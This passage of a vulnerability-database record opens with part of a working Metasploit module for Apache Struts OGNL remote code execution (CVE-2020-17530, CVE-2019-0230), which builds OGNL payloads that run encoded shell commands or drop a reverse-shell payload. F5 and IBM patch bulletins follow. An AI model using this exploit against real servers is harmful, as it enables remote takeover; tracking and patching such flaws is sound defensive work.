'https://github.com/ka1n4t/CVE-2020-17530'],\n ],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date\n 'Notes' => {\n 'Stability' => [ CRASH_SAFE, ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ]\n },\n 'DefaultTarget' => 0\n )\n )\n\n register_options([\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\n OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),\n OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])\n ])\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\n OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])\n ])\n end\n\n def check\n num1 = rand(1000..9999)\n num2 = rand(1000..9999)\n\n res = send_request_cgi(build_http_request(datastore['CVE'], \"#{num1}*#{num2}\"))\n if res.nil?\n return CheckCode::Unknown\n elsif res.body.scan(/([\"'])\\s*#{(num1 * num2)}\\s*\\1/).empty?\n return CheckCode::Safe\n end\n\n return CheckCode::Appears\n end\n\n def exploit\n cve = datastore['CVE']\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}\")\n\n if cve == 'CVE-2019-0230'\n ognl = []\n ognl << '#context=#attr[\\'struts.valueStack\\'].context'\n ognl << '#container=#context[\\'com.opensymphony.xwork2.ActionContext.container\\']'\n ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'\n ognl << '#ognlUtil.setExcludedClasses(\\'\\')'\n ognl << '#ognlUtil.setExcludedPackageNames(\\'\\')'\n res = send_request_cgi(build_http_request(cve, ognl))\n fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200\n end\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded, { cve: cve })\n when :linux_dropper\n execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })\n end\n end\n\n def execute_command(cmd, opts = {})\n send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)\n end\n\n def build_http_request(cve, ognl)\n ognl = ognl.map { |part| \"(#{part})\" }.join('.') if ognl.is_a? Array\n\n http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }\n http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?\n if cve == 'CVE-2019-0230'\n http_request_parameters['method'] = 'GET'\n http_request_parameters['vars_get'] = { datastore['NAME'] => \"%{#{ognl}}\" }\n elsif cve == 'CVE-2020-17530'\n http_request_parameters['method'] = 'POST'\n http_request_parameters['vars_post'] = { datastore['NAME'] => \"%{#{ognl}}\" }\n end\n http_request_parameters\n end\n\n def build_ognl(cve, cmd)\n cmd = \"bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash\"\n ognl = []\n if cve == 'CVE-2019-0230'\n ognl << '#context=#attr[\\'struts.valueStack\\'].context'\n ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'\n ognl << \"@java.lang.Runtime@getRuntime().exec(\\\"#{cmd}\\\")\"\n elsif cve == 'CVE-2020-17530'\n ognl << '#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]'\n ognl << '#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]'\n ognl << '#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")'\n ognl << '#bean.setBean(#stack)'\n ognl << '#context=#bean.get(\"context\")'\n ognl << '#bean.setBean(#context)'\n ognl << '#macc=#bean.get(\"memberAccess\")'\n ognl << '#bean.setBean(#macc)'\n ognl << '#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")'\n ognl << '#bean.put(\"excludedClasses\",#emptyset)'\n ognl << '#bean.put(\"excludedPackageNames\",#emptyset)'\n ognl << '#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")'\n ognl << \"#execute.exec({\\\"#{cmd}\\\"})\"\n end\n\n ognl\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_multi_eval_ognl.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "f5": [{"lastseen": "2023-02-08T16:15:37", "description": " * [CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \nForced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.\n * [CVE-2021-31805](<https://vulners.com/cve/CVE-2021-31805>) \nThe fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag's attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.\n\nImpact\n\nUsing a forced Object-Graph Navigation Language (OGNL) evaluation on untrusted user input allows an attacker to perform remote code execution leading to security degradation.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-22T01:45:00", "type": "f5", "title": "Apache Struts vulnerabilities CVE-2020-17530 and CVE-2021-31805", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233", "CVE-2020-17530", "CVE-2021-31805"], "modified": "2022-04-15T23:18:00", "id": "F5:K24608264", "href": "https://support.f5.com/csp/article/K24608264", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ibm": [{"lastseen": "2023-12-07T18:04:21", "description": "## Summary\n\nMultiple vulnerabilities in Apache Struts 2.3.x may affect IBM eDiscovery Manager. These are addressed.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-31805](<https://vulners.com/cve/CVE-2021-31805>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a double evaluation of tag attributes. By forcing OGNL evaluation of specially-crafted data using the %{...} syntax, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223990](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223990>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \neDiscovery Manager| 2.2.2 \n \n## Remediation/Fixes\n\nProduct\n\n| VRM| Remediation \n---|---|--- \nIBM eDiscovery Manager| 2.2.2| \n\nUse IBM eDiscovery Manager 2.2.2.3 [Interim Fix 008](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FInfoSphere+eDiscovery+Manager&fixids=2.2.2.3-EDM-WIN-IF008&source=SAR> \"Interim Fix 008\" ) for Windows\n\nUse IBM eDiscovery Manager 2.2.2.3 [Interim Fix 008](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FInfoSphere+eDiscovery+Manager&fixids=2.2.2.3-EDM-AIX-IF008&source=SAR> \"Interim Fix 008\" ) for AIX \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-12T10:00:46", "type": "ibm", "title": "Security Bulletin: Multiple Vulnerabilities in Apache Struts Affect IBM eDiscovery Manager", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233", "CVE-2020-17530", "CVE-2021-31805"], "modified": "2023-07-12T10:00:46", "id": "80737D4B4CE626670083B16CA387FEFAC8045ECB16DACD55AD56FFAC544F21A4", "href": "https://www.ibm.com/support/pages/node/7011373", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T18:53:54", "description": "## Summary\n\nVulnerability found in Apache struts2-core-2.5.22 used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for File Systems| 4.0.x \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1| \n\nUse Content Collector for Email [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \n \nContent Collector for File Systems| 4.0.1| Use Content Collector for File Systems [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for Microsoft SharePoint| 4.0.1| Use Content Collector for Microsoft SharePoint [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for IBM Connections| 4.0.1| Use Content Collector for IBM Connections [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-09T08:00:32", "type": "ibm", "title": "Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-09T08:00:32", "id": "456B2EB80A04726EA1ABA567940D381A0E2976991206F33CA962674055ED3FD9", "href": "https://www.ibm.com/support/pages/node/6593787", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T18:57:33", "description": "## Summary\n\nIBM Sterling Order Management Apache Struts vulnerablity\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Sterling Order Management| 10.0 \nIBM Sterling Order Management| 9.5.x \nIBM Sterling Order Management| 9.4.x \n \n\n\n## Remediation/Fixes\n\nOrder Management on premise release notes - <https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version>\n\nFix Central Link (**FP details URL)**: \n[http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-11T01:06:34", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management Apache Struts vulnerablity", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-05-11T01:06:34", "id": "DE610DDFE9494156D25DDA58CDDC5C5009E3BBAAB1D9C6FC73CE6056DFE0DCFA", "href": "https://www.ibm.com/support/pages/node/6565855", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T18:53:49", "description": "## Summary\n\nVulnerability found in Apache struts2-core-2.5.22 used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for IBM Connections| 4.0.x \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1| Use Content Collector for Email [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for File Systems| 4.0.1| Use Content Collector for File Systems [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for Microsoft SharePoint| 4.0.1| Use Content Collector for Microsoft SharePoint [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for IBM Connections| 4.0.1| Use Content Collector for IBM Connections [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-09T08:03:35", "type": "ibm", "title": "Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-09T08:03:35", "id": "6AB7EE25CEFEC99E5658BEFE4D594FAAA375C1558F00A1900E6FF8619C6CA80A", "href": "https://www.ibm.com/support/pages/node/6593791", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T18:53:50", "description": "## Summary\n\nVulnerability found in Apache struts2-core-2.5.22 used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Microsoft SharePoint| 4.0.x \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1| Use Content Collector for Email [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for File Systems| 4.0.1| Use Content Collector for File Systems [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for Microsoft SharePoint| 4.0.1| Use Content Collector for Microsoft SharePoint [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for IBM Connections| 4.0.1| Use Content Collector for IBM Connections [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-09T08:01:55", "type": "ibm", "title": "Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-09T08:01:55", "id": "BE38ED822E7AF0C00178B9F33546DB67627005E6481750CB7374811E7F5674AE", "href": "https://www.ibm.com/support/pages/node/6593789", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T18:53:58", "description": "## Summary\n\nVulnerability found in Apache struts2-core-2.5.22 used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nContent Collector for Email| 4.0.x \n \n\n\n## Remediation/Fixes\n\n**Product** | **VRM**| **Remediation** \n---|---|--- \nContent Collector for Email| 4.0.1| Use Content Collector for Email [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for File Systems| 4.0.1| Use Content Collector for File Systems [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for Microsoft SharePoint| 4.0.1| Use Content Collector for Microsoft SharePoint [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \nContent Collector for IBM Connections| 4.0.1| Use Content Collector for IBM Connections [4.0.1.14-IBM-ICC-IF004](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.14-IBM-ICC-IF004&source=SAR> \"4.0.1.14-IBM-ICC-IF004\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 